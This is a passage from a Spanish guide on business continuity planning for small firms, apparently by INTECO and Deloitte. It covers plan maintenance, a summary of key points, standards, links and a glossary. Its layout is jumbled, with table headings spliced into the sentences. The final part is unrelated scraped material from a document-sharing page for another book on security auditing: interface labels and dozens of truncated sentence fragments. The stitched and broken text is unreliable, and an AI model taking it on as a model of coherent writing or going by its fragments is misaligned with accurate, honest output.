ciclo de mejora continua. Cualquier cambio a nivel organizativo (estratégico),
operacional o técnico puede impactar en el negocio y por tanto en el plan de
continuidad.
Consecuentemente, la empresa debe emprender un proceso para mantener

al día la capacidad, eficacia e idoneidad del plan de continuidad de negocio.
Algunas propuestas en ese sentido son:

• Revisión periódica en busca de cambios en la estructura de la

organización, en los productos/servicios que desarrolla, en la plantilla,
etc., los cuales pueden tener consecuencias en el plan de continuidad
de negocio (política, BIA, procedimientos de recuperación, etc.).
• Confirmación de que el plan de continuidad de negocio es acorde

y contempla los citados cambios en los diversos componentes de la
organización.
• Adecuación de los planes de continuidad de negocio a requerimientos de

socios, clientes, accionistas u otro tipo de requerimientos regulatorios.
• Revisión de los resultados de las pruebas realizadas y de que las

mejoras identificadas en las mismas han sido aplicadas.
• Incluso auditorías internas o externas de todos y cada uno de los

componentes del plan de continuidad de negocio.
En el caso de que se evidencien cambios que afecten a la organización y

que tengan impacto en los procesos de negocio, puede ser necesario revisar
los Análisis de Impacto en el Negocio (BIA) y Análisis de Riesgos para ver en
qué medida dichos cambios pueden provocar desajustes en las estrategias
y los procedimientos. De esta forma, la organización puede disponer de
ciertas garantías sobre la efectividad de su plan de negocio.
12.3. RIESGOS ASOCIADOS AL MANTENIMIENTO DEL PLAN
La fase de mantenimiento del plan es vital para confirmar la completitud,

viabilidad y eficacia del mismo. Sin embargo, en esta fase existen una serie
de riesgos que son necesarios tener en cuenta:

• Formación/concienciación: es frecuente que las organizaciones que
han implantado un plan de continuidad de negocio carezcan de ideas
y estrategias precisas acerca de posibles programas de formación
(¿quiénes deben ser los destinatarios del programa?, ¿qué mensajes
deben ser transmitidos?, ¿qué método de comunicación es el más
idóneo?).
• Falta de criterio a la hora de definir la periodicidad en la cual los planes

de continuidad de negocio deben ser probados y el tipo de pruebas a
realizar.
Para asegurar el mantenimiento del plan de continuidad de negocio es

recomendable el desarrollo de programas educativos que mezclen diferentes
formas de comunicación y aprendizaje de forma que sea fácilmente asimilable
por toda la organización.
Por otro lado, y como medida general, se recomienda que los planes de
continuidad de negocio, aparte de ser flexibles, sean testados al menos una
vez al año a través de la realización periódica de simulacros que reproduzcan
de forma ficticia situaciones de emergencia o contingencia. Dicha periodicidad
depende de las necesidades que determine la organización y el entorno en
el que opera.

13. ¿Qué debo recordar?
Invertir en Planes de La gestión de la continuidad de negocio en cualquier organización es

Continuidad de Negocio una inversión, no es un coste. El retorno de inversión (ROI) es tangible en
compensa términos de reputación y valor de imagen de la empresa.
El plan de continuidad de negocio debe ser entendible y sencillo de utilizar

Simplicidad y mantener. La aplicación del sentido común, de la experiencia y del
conocimiento del negocio son componentes clave para el éxito de un plan
de continuidad de negocio.
Alcance limitado y La implantación de un plan de continuidad de negocio debe cubrir, al menos,

priorizado la operativa u operativas más críticas de la organización.
Un plan de continuidad de negocio debe establecer claramente quiénes

Responsabilidades
formarían parte del mismo, sus funciones, responsabilidades y autoridad.
Cuando se habla de continuidad de negocio, algunas organizaciones se

Las copias de seguridad centran principalmente en hacer copias de seguridad de su información.
solo son una parte del Plan Aunque este aspecto es tremendamente importante, constituye una
de Continuidad pequeña pieza del puzzle constituido por personas, documentación, vias de
comunicación, proveedores de servicios, etc.
La activación del Plan de La ejecución por parte de una organización de un plan de continuidad
de negocio no se produce ante cualquier incidente de seguridad, sino en
Continuidad es la opción
situaciones de crisis/emergencia perfectamente definidas y una vez que las
recurrida en última estancia medidas de seguridad preventivas han fallado.
Tareas excesivamente ambiciosas generan situaciones de frustración y

No emprender tareas hacen que los proyectos fracasen. El desarrollo de planes de continuidad
inabarcables complejos con equipos muy elaborados y excesiva documentación de
soporte es dificil de mantener actualizado.
La definición e implantación de un plan de continuidad de negocio puede e

Divide y vencerás incluso debe realizarse en muchas ocasiones en diferentes fases dentro de
la organización.
POLÍTICA DE MANTENIMIENTO/
PROCEDIMIENTOS/
CONTINUIDAD/ + PLANES + FORMACIÓN + ACTUALIZACIÓN/ = CONTINUIDAD
ESTRATEGIA PRUEBAS
68 ) ¿Qué debo recordar?

14. Más información
La siguiente relación de estándares internacionales y guías de ayuda, aparte

de ser mostrados para la consulta de los interesados, han sido explotados a
modo de bibliografía para la elaboración de esta guía:
14.1. ESTÁNDARES INTERNACIONALES
Son desarrollados a través de un consenso completo entre todas las partes

interesadas (gobiernos, asociaciones comerciales, consumidores) y no
impuestos como obligatorios. Los estándares son herramientas empleadas
por las organizaciones de cualquier tipo y tamaño.
BS 25999:2006 – (British Standard en inglés) primera norma británica para

la gestión de continuidad de negocio. Desarrollada por un amplio grupo de
expertos representativos de sectores de la industria y la administración.
Proporciona la base para comprender, desarrollar e implantar la continuidad
de negocio en una organización. Está previsto que se convierta en ISO
22301. Comprende dos partes
• Parte 1: Código de buenas prácticas y recomendaciones para

Gestión de Continuidad de Negocio (parte que sustituye al PAS
56).
• Parte 2: publicada el 20 de Noviembre de 2007, como norma

certificable establece los requisitos para implementar un Sistema
de Gestión de Continuidad de Negocio.
En términos sencillos, la parte 1 es el “debería” y la parte 2 es el “debe”.

Así, muchos de los aspectos tratados en esta guía provienen del estudio y
análisis de la información contenida en la parte 1.
ISO/IEC 27002:2005 – código de buenas prácticas para la Gestión de la

Seguridad de la Información. Es la antigua ISO 17799 y comprende un
apartado dedicado especialmente a la continuidad de negocio.
Más información ( 69
PAS 77:2006 – (Publicly Available Specification en inglés) guía de buenas

prácticas de la continuidad de los servicios de tecnologías de la información
(TI) emitida por British Standards Institute (BSI). En esta norma se establecen
los principios y técnicas recomendadas para la Gestión de la continuidad de
los servicios tecnológicos.
ISO/IEC 20000 – gestión de los servicios relacionados con las tecnologías

de la información.
14.2. GUÍAS DE AYUDA
Manual de buenas prácticas 2007: Guía para instaurar Buenas Prácticas

Globales en Gestión de Continuidad de Negocio. Elaborada por The Business
Continuity Institute y traducida al español por ISMS Forum Spain.
Contingency Planning Guide for Information Technology Systems: NIST SP

800-34. Publicación del Network Information Security and Technology (NIST). Guía
para realizar planes de contingencia sobre tecnologías y sistemas de información.
14.3. ENLACES DE INTERÉS
Si las PYME están interesadas en conocer más acerca de lo que es un

plan de continuidad de negocio y de sus estándares, a continuación se
expone una serie de direcciones web con información referida a este tipo
de planes:
• Http://cert.inteco.es/extfrontinteco/img/File/intecocert/sgsi/.
INTECO-CERT en su objetivo de sensibilizar sobre la importancia
de estos sistemas de gestión, cuenta con una sección de SGSI en
la que trata a lo largo de los diferentes apartados los conceptos más
importantes sobre su normativa, modelo y beneficios, así como las
diferentes fases de su implementación.
70 ) Más información
• www.bsigroup.es – British Standards Institute (BSI) para España:
entidad dedicada a la creación de normas para la estandarización
de los procesos, en este caso destaca la citada BS 25999, la cual
puede ser adquirida en formato papel o digital visitando la tienda de
BSI en Internet http://shop.bsigroup.com/.
• http://www.thebci.org y www.bcispain.com- The Business

Continuity Institute (BCI): organismo promotor de la gestión de
continuidad de negocio a nivel mundial fundado en el año 1994.
Existe un capítulo de BCI en España.
• http://www.drii.org – Disaster Recovery Institute International:

organismo creado con el fin de desarrollar una base de conocimiento
en planeación de contingencias y gestión de riesgo.
• http://www.ismsforum.es – ISMS Forum Spain: asociación que

tiene por fin fomentar la seguridad de la información en España.
• http://www.nist.org – Instituto Nacional de Normas y Tecnología

(NIST por sus siglas en inglés): agencia estadounidense encargada
de promover la innovación y la competencia mediante avances en
normas y tecnología.
• http://pmi.org. Página oficial del Project Management Institute,

organización internacional que desarrolla la guía del PMBOK, la
cual detalla a modo de buenas prácticas los fundamentos de la
Gestión de Proyectos.
Más información ( 71
15. ANEXO I: Glosario
• Actividad de negocio: proceso o conjunto de procesos establecidos por

una organización para producir o soportar sus productos o servicios.
• Activo: son los recursos que dan soporte a las actividades de negocio
de una organización, necesarios para que ésta funcione correctamente
y alcance los objetivos marcados por la organización (por ejemplo, los
sistemas informáticos).
• Acuerdos recíprocos: convenio o contrato entre dos organizaciones con
características funcionales y técnicas semejantes que permitirá a cada una
de las partes recuperar sus actividades críticas empleando los recursos e
instalaciones de la otra.
• Alternativas de recuperación: conjunto de actividades predefinidas que
serán implementadas y llevadas a cabo en respuesta a un desastre.
• Amenaza: eventos que, aprovechando una vulnerabilidad, pueden
desencadenar un incidente en la empresa, produciendo daños materiales
o pérdidas inmateriales en sus activos. Dentro de eventos se consideran
tanto acciones, como interrupciones o falta de acción.
• Análisis de Impacto en el Negocio o Business Impact Analysis (BIA por
sus siglas en inglés): proceso de análisis de las actividades de negocio y
las consecuencias que una interrupción sobre las mismas puede provocar
en la organización.
• Análisis de Riesgos: proceso de identificación, análisis y evaluación de
riesgos.
• Ciclo de mejora continua: o
ciclo PDCA (Plan, Do, Check,Act,
por sus siglas en inglés), es una
estrategia de mejora continua
de los procesos y sistemas
de gestión de la empresa en 4
pasos.
72 ) ANEXO I: Glosario
La parte II del estándar de continuidad de negocio BS 25999:2006 establece
los requerimientos de planificación, establecimiento, implementación,
operación, monitorización, revisión, práctica, mantenimiento y mejora del
Plan de Continuidad de Negocio bajo un proceso de gestión cíclico y no
como una acción o proyecto puntual con principio y fin.
• Conmutación: de forma general se refiere a la acción de cambiar una cosa
por otra. En el contexto de la guía hace referencia al cambio de las líneas
de comunicación para establecer la conexión con el centro de respaldo
alternativo.
• Contingencia: suceso no deseado que afecta a la continuidad normal de
las operaciones de la organización.
• Control: mecanismo que se emplea con el fin de reducir el riesgo asociado
a una o varias amenazas. Es frecuente el uso análogo del término “Medida
de Seguridad”.
• Desastre: problema o evento no planificado, cuya consecuencia es la
interrupción de los procesos de negocio durante un periodo de tiempo. Este
tiempo de paralización de los procesos es superior a lo que la organización
puede soportar sin sufrir perjuicios considerables para el negocio.
• Disponibilidad: característica, cualidad o condición de un proceso de
negocio/activo/recurso de encontrarse a disposición de la organización.
• EAR/PILAR: herramienta de análisis de riesgos que implementa la
metodología Magerit, desarrollada por el Centro Criptológico Nacional
(CCN – www.ccn-cert.cni.es) y de amplia utilización en la administración
pública española.
• Gestión de riesgos: desarrollo y aplicación ordenada de políticas,
procedimientos y prácticas para identificar, analizar, evaluar y controlar la
respuesta a los riesgos.
• Impacto: consecuencia evaluada de una interrupción.
ANEXO I: Glosario ( 73
• Incidente: cualquier evento que no forma parte de la operación estándar de

un servicio y que causa, o puede causar una interrupción o una reducción
de la calidad de ese servicio.
• Interdependencias: relaciones establecidas entre el conjunto de
equipamiento, personas, tareas, departamentos, mecanismos de
comunicación y proveedores externos que constituye una actividad de
negocio.
• Interrupción: suspensión de las operaciones normales del negocio
durante un período de tiempo.
• ISO: Organización Internacional para la Estandarización (www.iso.or), es
el encargado de promover el desarrollo de las normas internacionales
industriales y comerciales conocidas como normas ISO.
• Magerit: metodología de análisis y gestión de riesgos elaborada por el
Consejo Superior de Administración Electrónica (disponible en http://www.
csi.map.es/csi/pg5m20.htm).
• MiFID: Markets in Financial Instruments Directive. Directiva que forma
parte del Plan de Acción de los Servicios Financieros de la Unión Europea
y constituye un elemento de vital importancia para crear un sólido marco
regulatorio común para los mercados de valores europeos. Afecta a las
empresas de servicios de inversión y a las entidades de crédito y, en
relación con la continuidad de negocio exige:
• Empleo de sistemas, recursos y procedimientos adecuados
para garantizar la continuidad en la realización de los servicios y
actividades de inversión.
• Adopción, aplicación y mantenimiento de una política adecuada de
continuidad de la actividad encaminada a garantizar, en caso de
interrupción de sus sistemas y procedimientos, la preservación de
datos y funciones esenciales.
• OCTAVE (Operationally Critical Threat, Asset and Vulnerability Evaluation,
por sus siglas en inglés): es un conjunto de herramientas, técnicas y
métodos (desarrollados por el CERT Coordination Center del Software
Engineering Institute de la Universidad Carnegie Mellon de Pensilvania,
Estados Unidos) empleados para el análisis de riesgos tecnológicos
(disponible en http://www.cert.org/octave/.)
• Plan de continuidad de Negocio (PCN) o Business Continuity Plan (BCP
por sus siglas en inglés) es un conjunto de directrices, criterios, normas
de actuación y herramientas organizativas que, ante la ocurrencia de una
contingencia que provocase la interrupción de alguna o todas las áreas de
negocio de una organización, permiten la recuperación de la operatividad
de las mismas en el menor tiempo posible, de modo que las pérdidas
económicas ocasionadas sean mínimas.
• Plan de recuperación ante desastres (PRD) o Disaster Recovery Plan
(DRP por sus siglas en inglés): constituye una parte del Plan de Continuidad
de Negocio en aquellas compañías que dispongan de infraestructura
tecnológica para soportar sus operaciones y, de forma análoga al Plan de
Continuidad de Negocio, consta de todas las prácticas necesarias que,
en caso de desastre, permiten recuperar en el menor tiempo posible el
entorno tecnológico (sistemas, aplicaciones e infraestructuras) que soporta
las actividades de una organización.
• Problema: causa subyacente, aún no identificada, de una serie de
incidentes o un incidente aislado de importancia significativa.
• Punto de Recuperación Objetivo – RPO (Recovery Point Objective por
sus siglas en inglés): cantidad de información que la organización puede
llegar a perder como consecuencia de un desastre. Marca desde un punto
de vista tecnológico la estrategia de realización de copias de seguridad de
la información.
• Reingeniería de procesos actividad de rediseño de los procesos con el
fin de mejorar los mismos y crear beneficios y ventajas competitivas.
ANEXO I: Glosario ( 75
• Resiliencia: término de origen inglés (resilient) referido a la capacidad

de elasticidad y resistencia de una empresa para hacer frente a los
impactos.
• Riesgo: probabilidad de que una amenaza aproveche y explote una
debilidad asociada a un proceso/activo/recurso provocando daño sobre
el mismo.
• Retorno de Inversión – ROI (Return on Investment por sus siglas en
inglés): valor que mide el rendimiento de una inversión, para evaluar lo
eficiente que es el gasto que una organización realiza o planea realizar y
determinar la viabilidad de un proyecto o potencial proyecto.
• Stakeholders: anglicismo referido a todas las partes participantes o
afectadas por una empresa como son accionistas, empleados, inversores,
asociaciones sectoriales, Cámaras de Comercio, etc.
• Tiempo de Recuperación Objetivo - RTO (Recovery Time Objective por
sus siglas en inglés): variable temporal dentro de la cual una actividad de
negocio debe ser recuperada después de un desastre.
• Tiempo Máximo Permitido de Recuperación – MTD (Maximum
Tolerable Downtime por sus siglas en inglés): periodo de tiempo (medido
en segundos, minutos, horas o incluso meses en función de la actividad)
asociado a la paralización de una actividad que, una vez superado, la
viabilidad de la organización se verá amenazada irrevocablemente.
• Teletrabajo: desempeño de un trabajo de manera regular en un lugar
diferente del centro de trabajo habitual, generalmente empleando medios
informáticos.
• Vulnerabilidad: debilidad o falta de control asociada a un proceso o
recurso que puede ser explotada provocando un daño sobre dicho proceso.
Un ejemplo de vulnerabilidad es el hecho de que una organización no
disponga de medidas físicas que impidan el acceso a sus instalaciones a
personal no autorizado.
¿Quieres seguirnos?
en la web: http://observatorio.inteco.es
en Twitter: @ObservaINTECO
¿Quieres hacernos llegar algún comentario?

observatorio@inteco.es
www.inteco.es www.deloitte.es

Auditoria para No Auditores PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Auditoria para No Auditores PDF

Cargado por

Copyright:

Formatos disponibles

PROLOGO

Esta obra, es una compilación de procedimientos y normas que

Un recorrido ameno por la vía de la regulación y las buenas recetas

En un mundo cada vez más conectado, los riesgos se multiplican

Hace unos años vimos como los auditores de seguridad y los

En un mundo donde los dispositivos que conectamos a las redes se

El Volumen y heterogeneidad de los datos, su dispersión y la

Los próximos años serán apasionantes, pero desde luego debemos

Si tuviera que destacar alguna de las mejores virtudes de Alejandro,

Tres virtudes que te garantizan un divertido recorrido por este libro.

José Antonio García Cañizares

A mi esposa de la que aprendí la importancia de la Constancia.

Propiedad intelectual, industrial y frames

1. Se mantenga la integridad de los contenidos, documentos o gráficos.

SlideShare es un sitio web 2.0 de alojamiento de diapositivas que ofrece a los

OWASP (acrónimo de: Open Web Application Security Project)

En enero de 2001, ISECOM (el Instituto de

El Marco de Evaluación de Seguridad de Sistemas de Información (ISSAF) busca

Evaluar las políticas y procesos de seguridad de la información de la

Beneficios comerciales de ISSAF

 ISSAF pretende informar exhaustivamente sobre la implementación de los

ISSAF está desarrollando constantemente un marco que puede modelar los

ISSAF cubre las principales plataformas de tecnología de la información, la

ISSAF versión 0.2 se lanzará a la industria sobre la base de pruebas exhaustivas

Marcas de Productos Hardware y Software registradas que

Unix (registrado oficialmente como UNIX®) Es un sistema

 AT&T: La familia que tuvo su origen en el UNIX de AT&T. Considerada la

 La familia BSD surge del licenciamiento del UNIX original de AT&T.

Solaris de Sun Microsystems. Uno de los sistemas operativos Unix más

AIX de IBM. El UNIX "propietario" de IBM cumplió 20 años de vida en el 2006 y

HP-UX de Hewlett-Packard. Este sistema operativo también nació ligado a las

macOS. Se trata de un UNIX completo, aprobado por The Open Group. Su

Existen sistemas operativos basados en el núcleo Linux, y el conjunto de

SUSE Linux de Novell. Originalmente liberado por la compañía alemana SuSE.

También son populares los sistemas operativos descendientes del 4.4BSD:

FreeBSD. Quizá el sistema operativo más popular de la familia, de propósito

OpenBSD. Ampliamente reconocida por su seguridad proactiva y auditoría

NetBSD. Se le conoce por su portabilidad, a octubre de 2008: 53 arquitecturas

Las siguientes implementaciones de UNIX tienen importancia desde el punto de

Tru64 UNIX actualmente de Hewlett-Packard (antes de Compaq y originalmente

UnixWare y SCO OpenServer anteriormente de Santa Cruz Operation y SCO

IRIX de Silicon Graphics Inc...

Novell Inc. Netware. ©® extraído de la

Windows Server©® y Windows Desktops W7/W8/W10 son

Dado que una Auditoria profesional en general y en particular una de Seguridad

Gestión de Activos. ISO 55001 ......................................................................108

Las metodologías OWASP / OSSTMM soporte para la verificación de la

¿Por qué y Para qué debo certificar mi empresa?

Todo ha de empezar por el principio y el principio

pueden suponer la diferencia entre continuar existiendo como empresa

realizarse no está determinada a priori, sino que debe ser compatible

Una alineación se puede hacer

Por dónde empezar y como

9.- ¿El Departamento de asuntos legales y recursos humanos, se

Al añadir nuevas funciones hay que redistribuir el tiempo, esto es

También ambas áreas deben verificar que una vez extinguida la

Según el tipo de actividad empresarial se podrían añadir miembros,

El SGSI-A/D de cada área o departamento, elabora cada semana

Ciclo de Vida de la Información objeto del CSGSI

El dibujo representa las fases que ITIL asocia al desarrollo para

No olvidemos que mientras no existía la micro informática y las redes

Existen varias familias de delincuentes informáticos y además de

 Piratas Informáticos. Se trata de individuos que utilizan obras